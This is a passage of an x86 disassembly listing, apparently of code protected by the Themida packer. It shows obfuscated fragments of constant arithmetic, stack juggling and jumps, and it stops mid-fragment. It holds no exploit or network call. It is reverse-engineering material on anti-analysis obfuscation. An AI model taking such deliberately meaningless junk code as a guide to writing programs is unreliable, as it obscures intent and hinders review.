mov dl, 0CAh
push bx
mov bl, 0A8h
jmp loc_598895
; ---------------------------------------------------------------------------
loc_59EB24: ; CODE XREF: Themida_:005A2AE5j
mov edx, 0E1C507Ch
sub edx, 0DEAF0BC7h
sub eax, 433288Ch
jmp loc_590888
; ---------------------------------------------------------------------------
loc_59EB39: ; CODE XREF: Themida_:005A092Dj
mov eax, 4
add ecx, eax
pop eax
jmp loc_59E8C5
; ---------------------------------------------------------------------------
loc_59EB46: ; CODE XREF: Themida_:00596E63j
add ecx, 2135950h
add ecx, 155F34BFh
push dword ptr [esp]
pop ebp
jmp loc_59248E
; ---------------------------------------------------------------------------
loc_59EB5B: ; CODE XREF: Themida_:0059AFB7j
mov al, ch
mov bh, al
push dword ptr [esp]
pop eax
add esp, 4
mov [edi+eax*4+1], bh
jmp loc_5948A8
; ---------------------------------------------------------------------------
loc_59EB72: ; CODE XREF: Themida_:00590E75j
sub edi, esi
add edi, 28B00529h
pop esi
push eax
mov eax, 37BC6F84h
dec eax
jmp loc_5A4CE8
; ---------------------------------------------------------------------------
loc_59EB87: ; CODE XREF: Themida_:005A46D0j
push ebx
mov bh, al
mov ch, bh
pop ebx
pop eax
pop ebx
push eax
sub esp, 4
mov [esp], ebp
push 5DAE3F24h
pop ebp
add ebp, 0A251C0DCh
mov eax, ebp
pop ebp
add eax, 498644Ch
add eax, edx
sub eax, 498644Ch
push ebx
jmp loc_599118
; ---------------------------------------------------------------------------
loc_59EBB7: ; CODE XREF: Themida_:005A1A8Dj
sub cl, al
push dword ptr [esp]
pop eax
jmp loc_598410
; ---------------------------------------------------------------------------
loc_59EBC2: ; CODE XREF: Themida_:0059CE7Cj
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], ecx
jmp loc_591239
; ---------------------------------------------------------------------------
loc_59EBD4: ; CODE XREF: Themida_:00595191j
push eax
mov eax, 54B2312Ch
sub edx, eax
push dword ptr [esp]
jmp loc_59987A
; ---------------------------------------------------------------------------
loc_59EBE4: ; CODE XREF: Themida_:00595418j
sub ebp, edi
sub ebp, 644C225Eh
pop edi
sub dword ptr [esp+4], 537704B0h
sub [esp+4], ebp
add dword ptr [esp+4], 537704B0h
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_591F1D
; ---------------------------------------------------------------------------
loc_59EC10: ; CODE XREF: Themida_:0059DC80j
push esp
pop edi
push ecx
push esi
mov esi, 610E6527h
shr esi, 5
jmp loc_593CB5
; ---------------------------------------------------------------------------
loc_59EC21: ; CODE XREF: Themida_:0059A599j
sub esp, 4
mov [esp], edx
push eax
sub esp, 4
mov [esp], ebx
jmp loc_599712
; ---------------------------------------------------------------------------
loc_59EC33: ; CODE XREF: Themida_:005921CAj
add esp, 4
jmp loc_5A0B94
; ---------------------------------------------------------------------------
loc_59EC3B: ; CODE XREF: Themida_:0059C933j
pop esp
jmp loc_596C73
; ---------------------------------------------------------------------------
loc_59EC41: ; CODE XREF: Themida_:00592B39j
add ebx, 4
push 41BAh
mov [esp], ebp
jmp loc_595279
; ---------------------------------------------------------------------------
loc_59EC54: ; CODE XREF: Themida_:005A2E1Dj
mov edx, [esp]
add esp, 4
shl ecx, 8
jmp loc_59B048
; ---------------------------------------------------------------------------
loc_59EC65: ; CODE XREF: Themida_:005A487Fj
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
sub edx, eax
pop eax
jmp loc_5A1C03
; ---------------------------------------------------------------------------
loc_59EC7C: ; CODE XREF: Themida_:005A082Cj
push 37Ah
jmp loc_59BC58
; ---------------------------------------------------------------------------
loc_59EC86: ; CODE XREF: Themida_:00597EAFj
add eax, 6E182184h
jmp loc_5A1DD8
; ---------------------------------------------------------------------------
loc_59EC90: ; CODE XREF: Themida_:005A19ABj
sub eax, 10E34ABDh
sub eax, edx
add eax, 10E34ABDh
pop edx
jmp loc_59C641
; ---------------------------------------------------------------------------
loc_59ECA2: ; CODE XREF: Themida_:0059E200j
sub esi, 0EAD7FD27h
add eax, esi
pop esi
sub eax, 1ECF48D3h
sub eax, 17C91145h
add eax, 5E675877h
sub eax, ebp
sub eax, 5E675877h
add eax, 17C91145h
add eax, 1ECF48D3h
sub eax, 5C2D547Eh
push edi
mov edi, esp
jmp loc_59E3C7
; ---------------------------------------------------------------------------
loc_59ECD8: ; CODE XREF: Themida_:0059FCC9j
mov esi, eax
jmp loc_59C475
; ---------------------------------------------------------------------------
loc_59ECDF: ; CODE XREF: Themida_:005A189Ej
sub dh, bl
jmp loc_5A420D
; ---------------------------------------------------------------------------
loc_59ECE6: ; CODE XREF: Themida_:00594609j
not ebp
xor ebp, 0D002D843h
add ebx, ebp
pop ebp
add ebx, edi
push edx
mov edx, 856184Ch
sub ebx, edx
pop edx
push ecx
jmp loc_5924B3
; ---------------------------------------------------------------------------
loc_59ED02: ; CODE XREF: Themida_:005A0DB7j
add edx, 1
jmp loc_5A2366
; ---------------------------------------------------------------------------
loc_59ED0D: ; CODE XREF: Themida_:0059C8E9j
not eax
jmp loc_5A031C
; ---------------------------------------------------------------------------
loc_59ED14: ; CODE XREF: Themida_:0059A005j
mov edi, 614C136Ah
add eax, edi
pop edi
jmp loc_593B59
; ---------------------------------------------------------------------------
loc_59ED21: ; CODE XREF: Themida_:005A08B2j
pop edi
push edi
push ebx
mov ebx, 5883132Dh
mov edi, ebx
pop ebx
add ebx, 25544CFBh
add ebx, edi
push esi
mov esi, 348C7B2Fh
shl esi, 2
shr esi, 1
inc esi
add esi, 2D482A8Ch
xor esi, 0B3356C10h
add ebx, 0C7F4ADFh
sub ebx, esi
sub ebx, 0C7F4ADFh
jmp loc_59B459
; ---------------------------------------------------------------------------
loc_59ED5F: ; CODE XREF: Themida_:0059FE56j
mov eax, 2
add ecx, eax
mov eax, [esp]
add esp, 4
xor ecx, [esp]
jmp loc_59E6BE
; ---------------------------------------------------------------------------
loc_59ED77: ; CODE XREF: Themida_:0059E92Aj
push ecx
mov ecx, esp
push eax
jmp loc_5A2C95
; ---------------------------------------------------------------------------
loc_59ED80: ; CODE XREF: Themida_:00595BF1j
push eax
jmp loc_5929DF
; ---------------------------------------------------------------------------
loc_59ED86: ; CODE XREF: Themida_:0059B043j
mov eax, [esp]
jmp loc_59E92F
; ---------------------------------------------------------------------------
loc_59ED8E: ; CODE XREF: Themida_:005A1417j
mov eax, [esp]
jmp loc_598719
; ---------------------------------------------------------------------------
loc_59ED96: ; CODE XREF: Themida_:0059C28Bj
shl edx, 1
push 4374h
mov [esp], ecx
jmp loc_598990
; ---------------------------------------------------------------------------
loc_59EDA5: ; CODE XREF: Themida_:0059A1E3j
add ebp, 4
sub esp, 4
mov [esp], eax
push esi
mov esi, 45DC42EEh
jmp loc_59412F
; ---------------------------------------------------------------------------
loc_59EDBF: ; CODE XREF: Themida_:0059B8E3j
add ecx, 4
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
jmp loc_59E398
; ---------------------------------------------------------------------------
loc_59EDD3: ; CODE XREF: Themida_:005A48F9j
sub edx, 3532046Dh
add edx, 46022A5h
add edx, eax
sub edx, 46022A5h
push ecx
mov ecx, 0ACA6788h
jmp loc_594379
; ---------------------------------------------------------------------------
loc_59EDF2: ; CODE XREF: Themida_:0059664Cj
dec eax
push edi
push ebx
mov ebx, 42337760h
push ebx
pop edi
pop ebx
sub edi, 1E065FCAh
sub edi, 41B91D6Fh
sub edi, 0E273FA28h
add eax, edi
pop edi
dec eax
sub eax, 3E505DEDh
push esi
mov esi, 2D993BE4h
shl esi, 3
shl esi, 6
not esi
add esi, 1402DD5h
sub esi, 0D2F545A2h
sub eax, esi
pop esi
add ebx, 1A5C07AFh
add ebx, eax
sub ebx, 1A5C07AFh
pop eax
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_5A5767
; ---------------------------------------------------------------------------
loc_59EE54: ; CODE XREF: Themida_:00597693j
add eax, 4
jmp loc_595433
; ---------------------------------------------------------------------------
loc_59EE5E: ; CODE XREF: Themida_:005A32D5j
pop ebp
neg ebx
shr ebx, 8
jmp loc_5A2938
; ---------------------------------------------------------------------------
loc_59EE69: ; CODE XREF: Themida_:005A465Dj
push edi
mov edi, 2B4C3A60h
add edi, 0C57C3FD1h
add eax, edi
pop edi
push eax
pop edx
pop eax
jmp loc_596637
; ---------------------------------------------------------------------------
loc_59EE80: ; CODE XREF: Themida_:00596F82j
mov [esp], edi
mov edi, esp
push esi
jmp loc_597F5F
; ---------------------------------------------------------------------------
loc_59EE8B: ; CODE XREF: Themida_:005A2AA8j
add esp, 2
mov cx, [esp]
add esp, 2
sub bx, ax
jmp loc_5A147D
; ---------------------------------------------------------------------------
loc_59EEA0: ; CODE XREF: Themida_:00593387j
mov edx, 0FD56CD97h
add edx, esi
jmp loc_59619F
; ---------------------------------------------------------------------------
loc_59EEAC: ; CODE XREF: Themida_:005A3C51j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59EEC1: ; CODE XREF: Themida_:0059CD0Dj
push 6D69h
mov [esp], ebp
mov ebp, 11C15C6Bh
not ebp
shr ebp, 4
neg ebp
jmp loc_59AC7C
; ---------------------------------------------------------------------------
loc_59EEDA: ; CODE XREF: Themida_:005A2CC9j
add ebx, 53DE44F8h
add ebx, 19E356C6h
add ebx, 48A51AA2h
jmp loc_5A2411
; ---------------------------------------------------------------------------
loc_59EEF1: ; CODE XREF: Themida_:0059779Aj
add ebp, ecx
mov ecx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
jmp loc_590BE0
; ---------------------------------------------------------------------------
loc_59EF04: ; CODE XREF: Themida_:005A4B4Aj
shl ebx, 1
not ebx
add ebx, 52D62660h
add eax, ebx
pop ebx
mov edx, eax
pop eax
push ebp
jmp loc_596022
; ---------------------------------------------------------------------------
loc_59EF1A: ; CODE XREF: Themida_:005A2FEAj
mov esp, [esp]
sub esp, 4
mov [esp], edi
push esp
pop edi
push esi
jmp loc_5A5028
; ---------------------------------------------------------------------------
loc_59EF2B: ; CODE XREF: Themida_:00599E84j
add esp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
push ecx
push 4
pop ecx
add [esp+4], ecx
pop ecx
pop eax
push esi
mov esi, 37C9068Ch
not esi
inc esi
jmp loc_59D681
; ---------------------------------------------------------------------------
loc_59EF53: ; CODE XREF: Themida_:005A2B05j
xor ebp, 326A5B55h
add esi, ebp
push dword ptr [esp]
pop ebp
add esp, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5A393D
; ---------------------------------------------------------------------------
loc_59EF6D: ; CODE XREF: Themida_:005A4709j
pop edx
mov ebx, eax
mov eax, [esp]
add esp, 4
push ebx
not dword ptr [esp]
jmp loc_59BBAD
; ---------------------------------------------------------------------------
loc_59EF82: ; CODE XREF: Themida_:005A3D64j
or eax, ebx
jmp loc_5A5434
; ---------------------------------------------------------------------------
loc_59EF89: ; CODE XREF: Themida_:005A1671j
pop ebx
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ecx
push ebx
push 6A990609h
mov ebx, [esp]
add esp, 4
sub ebx, 4875B748h
mov ecx, ebx
push dword ptr [esp]
pop ebx
jmp loc_5958D6
; ---------------------------------------------------------------------------
loc_59EFD2: ; CODE XREF: Themida_:0059E6EBj
mov ecx, 3B3F6F76h
xor ecx, 0A13A0Dh
xor edx, ecx
jmp loc_5A295D
; ---------------------------------------------------------------------------
loc_59EFE4: ; CODE XREF: Themida_:005926EBj
mov ecx, 63247EACh
xor ecx, 32D458E1h
or ecx, 568140B8h
push 2865h
mov [esp], ebp
mov ebp, 7654C85h
jmp loc_59B42E
; ---------------------------------------------------------------------------
loc_59F007: ; CODE XREF: Themida_:005978A4j
mov ebp, 5F3E2324h
mov ebx, ebp
pop ebp
push 7FEDh
mov [esp], edi
mov edi, 370F3542h
and ebx, edi
push dword ptr [esp]
jmp loc_5A4419
; ---------------------------------------------------------------------------
loc_59F026: ; CODE XREF: Themida_:00591A3Cj
pop eax
xchg ebx, [esp]
jmp loc_593DA9
; ---------------------------------------------------------------------------
loc_59F02F: ; CODE XREF: Themida_:00591D19j
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_596C47
; ---------------------------------------------------------------------------
loc_59F03B: ; CODE XREF: Themida_:005949E9j
sub [esp], edx
jmp loc_590C99
; ---------------------------------------------------------------------------
loc_59F043: ; CODE XREF: Themida_:0059757Cj
pop esp
jmp loc_59801C
; ---------------------------------------------------------------------------
loc_59F049: ; CODE XREF: Themida_:005A06DCj
pop ebp
push ebx
mov ebx, 733778D1h
dec ebx
xchg esi, ebx
not esi
xchg esi, ebx
shr ebx, 5
add ebx, 516B064Ch
or edx, ebx
pop ebx
and edx, 49B370Fh
push eax
jmp loc_5945DC
; ---------------------------------------------------------------------------
loc_59F06F: ; CODE XREF: Themida_:005A086Fj
push eax
mov eax, 4B0F3AB1h
mov ebx, eax
jmp loc_59B0B5
; ---------------------------------------------------------------------------
loc_59F07C: ; CODE XREF: Themida_:00592DC8j
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_59D192
; ---------------------------------------------------------------------------
loc_59F094: ; CODE XREF: Themida_:0059B643j
pop ebx
jmp loc_597CBB
; ---------------------------------------------------------------------------
loc_59F09A: ; CODE XREF: Themida_:0059F864j
sub cl, 0B5h
jmp loc_591D70
; ---------------------------------------------------------------------------
loc_59F0A2: ; CODE XREF: Themida_:005A1CC6j
add esp, 4
add ecx, ebp
pop ebp
sub ecx, 64820D05h
add ecx, ebx
jmp loc_5992F8
; ---------------------------------------------------------------------------
loc_59F0B8: ; CODE XREF: Themida_:0059538Aj
mov ecx, [esp]
jmp loc_59CC7D
; ---------------------------------------------------------------------------
loc_59F0C0: ; CODE XREF: Themida_:00597B17j
push ecx
mov ecx, 2
sub edx, 518232C8h
sub edx, 12526513h
add edx, ecx
add edx, 12526513h
push esi
jmp loc_599BB0
; ---------------------------------------------------------------------------
loc_59F0E0: ; CODE XREF: Themida_:0059F16Fj
idiv cl
movzx cx, ah
jmp loc_598705
; ---------------------------------------------------------------------------
loc_59F0EB: ; CODE XREF: Themida_:0059CFFCj
pop esp
mov [esp], edx
jmp loc_59AFEF
; ---------------------------------------------------------------------------
loc_59F0F4: ; CODE XREF: Themida_:00594656j
add [esp+4], esi
jmp loc_592644
; ---------------------------------------------------------------------------
loc_59F0FD: ; CODE XREF: Themida_:0059AE60j
mov edi, esp
jmp loc_5951CB
; ---------------------------------------------------------------------------
loc_59F104: ; CODE XREF: Themida_:005A172Dj
add ebx, 43BF4B97h
sub ebx, 0E646831h
pop ebp
xchg ebx, [esp]
pop esp
jmp loc_59AF50
; ---------------------------------------------------------------------------
loc_59F11A: ; CODE XREF: Themida_:0059A680j
mov ecx, 2F47B9Fh
xor ecx, 235B2220h
inc ecx
sub ecx, 24A21FE0h
neg ecx
xor ecx, 913F6679h
sub ebp, 674F78F7h
sub ebp, 439E37F1h
jmp loc_5A4FD0
; ---------------------------------------------------------------------------
loc_59F145: ; CODE XREF: Themida_:00591EFEj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59F14A: ; CODE XREF: Themida_:005998CAj
and bp, 50B8h
xor bp, 6452h
mov di, bp
jmp loc_598BC5
; ---------------------------------------------------------------------------
loc_59F15C: ; CODE XREF: Themida_:0059180Ej
push edx
jmp loc_5A2385
; ---------------------------------------------------------------------------
loc_59F162: ; CODE XREF: Themida_:005A07BFj
pop esi
add esp, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_59F0E0
; ---------------------------------------------------------------------------
loc_59F174: ; CODE XREF: Themida_:0059ABAEj
pop ebp
xor ebx, ecx
push dword ptr [esp]
pop ecx
jmp loc_5A3BE5
; ---------------------------------------------------------------------------
loc_59F180: ; CODE XREF: Themida_:00598A24j
push edi
mov edi, 5A982F74h
not edi
not edi
not edi
xor edi, 0C347C2BEh
mov edx, edi
pop edi
xchg ebx, edx
jmp loc_59AD5C
; ---------------------------------------------------------------------------
loc_59F19C: ; CODE XREF: Themida_:0059FC5Dj
push 119Ah
push esp
jmp loc_590A31
; ---------------------------------------------------------------------------
loc_59F1A7: ; CODE XREF: Themida_:0059C9F5j
not esi
jmp loc_59BC0D
; ---------------------------------------------------------------------------
loc_59F1AE: ; CODE XREF: Themida_:005A4DDBj
push ecx
mov ecx, 9974D6FBh
sub edx, ecx
pop ecx
sub ebx, edx
pop edx
add ebx, edx
jmp loc_59FED5
; ---------------------------------------------------------------------------
loc_59F1C1: ; CODE XREF: Themida_:0059A0E2j
push 707Fh
mov [esp], esi
mov esi, 610C48E5h
mov ebx, 610C48E1h
jmp loc_591F6D
; ---------------------------------------------------------------------------
loc_59F1D8: ; CODE XREF: Themida_:005A318Fj
mov ebx, [esp]
add esp, 4
shl ebx, 4
sub ebx, 0DCC54E0Fh
mov ecx, ebx
pop ebx
push ecx
mov ebx, [esp]
add esp, 4
pop ecx
jmp loc_593C6C
; ---------------------------------------------------------------------------
loc_59F1FA: ; CODE XREF: Themida_:005937C3j
imul cx, ax
jmp loc_595993
; ---------------------------------------------------------------------------
loc_59F203: ; CODE XREF: Themida_:005A14B2j
pop edi
jmp loc_5A0994
; ---------------------------------------------------------------------------
loc_59F209: ; CODE XREF: Themida_:0059508Dj
shl esi, 8
jmp loc_597CFB
; ---------------------------------------------------------------------------
loc_59F211: ; CODE XREF: Themida_:00595EDAj
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5A06E1
; ---------------------------------------------------------------------------
loc_59F22B: ; CODE XREF: Themida_:00598B79j
add esp, 4
sub eax, esi
jmp loc_5A263D
; ---------------------------------------------------------------------------
loc_59F238: ; CODE XREF: Themida_:0059D176j
push dword ptr [esp+4]
mov ebx, [esp]
push ebp
jmp loc_59CF4F
; ---------------------------------------------------------------------------
loc_59F245: ; CODE XREF: Themida_:00599063j
add ebx, 8977131h
pop ebp
xor edx, ebx
pop ebx
push esi
push edx
mov edx, 32ED603Eh
inc edx
neg edx
shl edx, 2
sub edx, 2AFB2053h
jmp loc_599829
; ---------------------------------------------------------------------------
loc_59F267: ; CODE XREF: Themida_:005A1E50j
add esi, 23B178BFh
add esi, ebx
sub esi, 23B178BFh
jmp loc_59ACEB
; ---------------------------------------------------------------------------
loc_59F27A: ; CODE XREF: Themida_:005986E1j
shr ecx, 8
shl ecx, 6
add ecx, 0D5D29C04h
sub esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_595AA1
; ---------------------------------------------------------------------------
loc_59F29F: ; CODE XREF: Themida_:00596108j
xor ax, bx
mov bx, [esp]
push esi
mov esi, esp
sub esp, 4
mov [esp], eax
mov eax, 18F37AD1h
neg eax
or eax, 199F72A0h
neg eax
xor eax, 493A33F4h
xor eax, 3E3C1EC6h
push edi
mov edi, 17C75DA5h
and edi, 3B4D5661h
jmp loc_595AD1
; ---------------------------------------------------------------------------
loc_59F2D8: ; CODE XREF: Themida_:0059C21Dj
mov [esp], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59F2E1: ; CODE XREF: Themida_:0059B3C3j
add ebx, 3C237068h
sub ebx, 61D111D0h
pop edi
jmp loc_592A53
; ---------------------------------------------------------------------------
loc_59F2F3: ; CODE XREF: Themida_:005A4CDAj
push ebx
push 2C380D9Fh
mov ebx, [esp]
add esp, 4
add eax, 4C334E16h
add eax, 1D0858F9h
sub eax, ebx
sub eax, 1D0858F9h
jmp loc_5A1C84
; ---------------------------------------------------------------------------
loc_59F315: ; CODE XREF: Themida_:005A1EB7j
mov [esp], ebp
mov ebp, 1
jmp loc_59D8B0
; ---------------------------------------------------------------------------
loc_59F322: ; CODE XREF: Themida_:005A1D1Ej
mov eax, 2FA65B0h
shr eax, 8
shl eax, 3
inc eax
xor eax, 5FFDD1B6h
sub edx, eax
pop eax
sub edx, 68BED0D4h
mov ecx, edx
pop edx
mov ebp, ecx
pop ecx
jmp loc_5A2D71
; ---------------------------------------------------------------------------
loc_59F347: ; CODE XREF: Themida_:0059449Cj
add eax, 17387764h
jmp loc_594B12
; ---------------------------------------------------------------------------
loc_59F351: ; CODE XREF: Themida_:005958B1j
push edx
mov edx, 4
add ebx, edx
pop edx
add ebx, 4
jmp loc_5A4788
; ---------------------------------------------------------------------------
loc_59F365: ; CODE XREF: Themida_:005941AFj
push dword ptr [esp]
jmp loc_5A08C4
; ---------------------------------------------------------------------------
loc_59F36D: ; CODE XREF: Themida_:00597DB3j
push ecx
mov ecx, 66A34E9Eh
and ebp, ecx
pop ecx
xor ebp, 0C1839AAh
shr ebp, 2
push ebp
add dword ptr [esp], 0FFFFFFFFh
pop ebp
add ebp, 0E451313Dh
add eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5A3381
; ---------------------------------------------------------------------------
loc_59F3AA: ; CODE XREF: Themida_:005A0568j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_5A08EC
; ---------------------------------------------------------------------------
loc_59F3B7: ; CODE XREF: Themida_:005A3C24j
pop ebp
push esi
mov esi, 19E356C6h
sub ebx, esi
mov esi, [esp]
jmp loc_5A2CBE
; ---------------------------------------------------------------------------
loc_59F3C8: ; CODE XREF: Themida_:0059DD6Bj
sub esp, 4
jmp loc_5960AB
; ---------------------------------------------------------------------------
loc_59F3D0: ; CODE XREF: Themida_:0059AE57j
push ebx
jmp loc_5A37B2
; ---------------------------------------------------------------------------
loc_59F3D6: ; CODE XREF: Themida_:0059B233j
pop esi
sub esp, 4
jmp loc_59352A
; ---------------------------------------------------------------------------
loc_59F3DF: ; CODE XREF: Themida_:0059B5B7j
neg ebp
sub esp, 4
mov [esp], esi
push ebp
jmp loc_597D08
; ---------------------------------------------------------------------------
loc_59F3ED: ; CODE XREF: Themida_:0059E295j
or edi, 18060FAAh
jmp loc_59D9E2
; ---------------------------------------------------------------------------
loc_59F3F8: ; CODE XREF: Themida_:0059D2C5j
push esp
pop ebx
push ecx
push ebp
mov ebp, 2C1B56BEh
shl ebp, 7
jmp loc_59D74E
; ---------------------------------------------------------------------------
loc_59F409: ; CODE XREF: Themida_:005A1E1Ej
mov ebp, 531049FEh
or ebp, 5027760Bh
dec ebp
shl ebp, 7
jmp loc_592FC5
; ---------------------------------------------------------------------------
loc_59F41D: ; CODE XREF: Themida_:005A47E1j
add bl, 11h
pop ecx
movzx eax, al
push dword ptr [edi+eax*4]
push 6257h
mov [esp], ebp
jmp loc_5A2C4E
; ---------------------------------------------------------------------------
loc_59F434: ; CODE XREF: Themida_:00599E52j
add dword ptr [esp], 302B61B4h
pop ebx
jmp loc_598462
; ---------------------------------------------------------------------------
loc_59F441: ; CODE XREF: Themida_:0059058Cj
pop ebp
add ecx, 4
xchg ecx, [esp]
pop esp
add esi, 2
jmp loc_5A38CA
; ---------------------------------------------------------------------------
loc_59F457: ; CODE XREF: Themida_:005A2638j
mov eax, 4
add [esp+4], eax
pop eax
mov ebx, [esp]
add esp, 4
add ebx, 4
push ecx
jmp loc_59D547
; ---------------------------------------------------------------------------
loc_59F473: ; CODE XREF: Themida_:0059B68Ej
xchg esi, [esp]
jmp loc_594AB2
; ---------------------------------------------------------------------------
loc_59F47B: ; CODE XREF: Themida_:00599A13j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5988D8
; ---------------------------------------------------------------------------
loc_59F491: ; CODE XREF: Themida_:0059C867j
std
sub esp, 4
mov [esp], eax
mov eax, 1B025D1h
sub eax, 43DA5F14h
push ecx
mov ecx, 329248C2h
push 0
sub [esp], ecx
mov ecx, [esp]
jmp loc_5A4BE9
; ---------------------------------------------------------------------------
loc_59F4B8: ; CODE XREF: Themida_:00599CE6j
mov [esp], ecx
mov ecx, 4
add edx, ecx
jmp loc_591E02
; ---------------------------------------------------------------------------
loc_59F4C7: ; CODE XREF: Themida_:00591882j
neg esi
xor esi, 0D74036D1h
jmp loc_59396F
; ---------------------------------------------------------------------------
loc_59F4D4: ; CODE XREF: Themida_:005A377Cj
push 3B0Dh
mov [esp], eax
push edx
jmp loc_5A556F
; ---------------------------------------------------------------------------
loc_59F4E2: ; CODE XREF: Themida_:005967B3j
mov bx, dx
mov edx, [esp]
jmp loc_59597C
; ---------------------------------------------------------------------------
loc_59F4ED: ; CODE XREF: Themida_:005A30AEj
mov dl, bl
pop ebx
sub dl, 0ABh
jmp loc_596988
; ---------------------------------------------------------------------------
loc_59F4F8: ; CODE XREF: Themida_:005A1E07j
mov ebp, [esp]
add esp, 4
xchg ebx, ebp
jmp loc_592530
; ---------------------------------------------------------------------------
loc_59F508: ; CODE XREF: Themida_:00593300j
push 781Fh
jmp loc_5A56F0
; ---------------------------------------------------------------------------
loc_59F512: ; CODE XREF: Themida_:00596E2Ej
add edx, esi
pop esi
add ebx, edx
pop edx
push esi
jmp loc_593BC0
; ---------------------------------------------------------------------------
loc_59F51E: ; CODE XREF: Themida_:005A421Dj
xchg edx, [esp]
jmp loc_5A45AD
; ---------------------------------------------------------------------------
loc_59F526: ; CODE XREF: Themida_:0059F9CCj
add edi, 7DCE575Dh
mov esi, edi
jmp loc_5A2687
; ---------------------------------------------------------------------------
loc_59F533: ; CODE XREF: Themida_:0059A0F6j
push 0
sub [esp], ah
mov ah, [esp]
add esp, 4
and ah, 58h
sub ah, 58h
mov cl, ah
pop eax
sub dl, cl
pop cx
add al, 8Ah
sub al, dl
jmp loc_5A3FFE
; ---------------------------------------------------------------------------
loc_59F557: ; CODE XREF: Themida_:005A35B5j
mov edi, [esp]
add esp, 4
sub eax, ecx
jmp loc_59D08A
; ---------------------------------------------------------------------------
loc_59F564: ; CODE XREF: Themida_:005949D2j
mov ebp, [esp]
add esp, 4
add ebp, 1100461Ch
jmp loc_598EFF
; ---------------------------------------------------------------------------
loc_59F575: ; CODE XREF: Themida_:005A29B9j
sub esi, 724264BEh
add esi, 0A63BD980h
sub ebx, 418D5194h
add ebx, esi
push eax
mov eax, 418D5194h
add ebx, eax
pop eax
pop esi
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
jmp loc_594B9E
; ---------------------------------------------------------------------------
loc_59F5A6: ; CODE XREF: Themida_:0059D875j
xchg ecx, [esp]
jmp loc_59725B
; ---------------------------------------------------------------------------
loc_59F5AE: ; CODE XREF: Themida_:005A2222j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
xchg edx, [edi+24h]
loc_59F5C1: ; CODE XREF: Themida_:005A3876j
sub esp, 4
mov [esp], ebp
push ebx
jmp loc_59473D
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
push ecx
push esp
mov ecx, [esp]
add esp, 4
push edi
mov edi, 375246C2h
sub edi, 375246BEh
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_590487
; ---------------------------------------------------------------------------
loc_59F600: ; CODE XREF: Themida_:00590F7Bj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub ecx, 5C247394h
xor ecx, 0C1400E49h
sub esi, ecx
mov ecx, [esp]
add esp, 4
and eax, esi
pop esi
or eax, eax
jz loc_592BE1
sub esp, 4
mov [esp], ecx
push 28h
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
push 5C6Bh
mov [esp], eax
jmp loc_59D45C
; ---------------------------------------------------------------------------
loc_59F654: ; CODE XREF: Themida_:00594374j
sub esi, 11833149h
add esi, eax
add esi, 11833149h
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
jmp loc_595C1B
; ---------------------------------------------------------------------------
loc_59F670: ; CODE XREF: Themida_:005A0721j
push esi
push edi
push 413D158Fh
pop edi
jmp loc_590E1D
; ---------------------------------------------------------------------------
loc_59F67D: ; CODE XREF: Themida_:00595B67j
mov ebp, 41FBF05Bh
add edx, ebp
mov ebp, [esp]
add esp, 4
shr edx, 5
push ebx
mov ebx, 410E046Bh
sub edx, ebx
pop ebx
sub edx, 7CDE0A4Fh
add edx, 5DFD6E86h
push esi
mov esi, 0A0E97EFDh
xor edx, esi
pop esi
and ebp, edx
jmp loc_599CBE
; ---------------------------------------------------------------------------
loc_59F6B2: ; CODE XREF: Themida_:00599169j
push eax
mov eax, 4CF81671h
jmp loc_59B06E
; ---------------------------------------------------------------------------
loc_59F6BD: ; CODE XREF: Themida_:005A5410j
add esp, 4
jmp loc_5956F0
; ---------------------------------------------------------------------------
loc_59F6C5: ; CODE XREF: Themida_:00596712j
mov [esp], dx
push ax
pushf
jmp loc_599875
; ---------------------------------------------------------------------------
loc_59F6D1: ; CODE XREF: Themida_:00598A37j
mov edi, 2BEC3676h
shr edi, 2
jmp loc_59CE08
; ---------------------------------------------------------------------------
loc_59F6DE: ; CODE XREF: Themida_:0059BE0Cj
sub esi, ebx
pop ebx
pop ecx
neg esi
jmp loc_5908A9
; ---------------------------------------------------------------------------
loc_59F6E9: ; CODE XREF: Themida_:005A3355j
add ebp, ecx
jmp loc_59C20A
; ---------------------------------------------------------------------------
loc_59F6F0: ; CODE XREF: Themida_:0059BD92j
sub edx, 1
not edx
inc edx
push ecx
jmp loc_597A29
; ---------------------------------------------------------------------------
loc_59F6FF: ; CODE XREF: Themida_:005A015Bj
mov ebp, 0C5685BFDh
sub edx, ebp
pop ebp
push 65F9h
mov [esp], edi
mov edi, 19EA5B2Fh
dec edi
neg edi
not edi
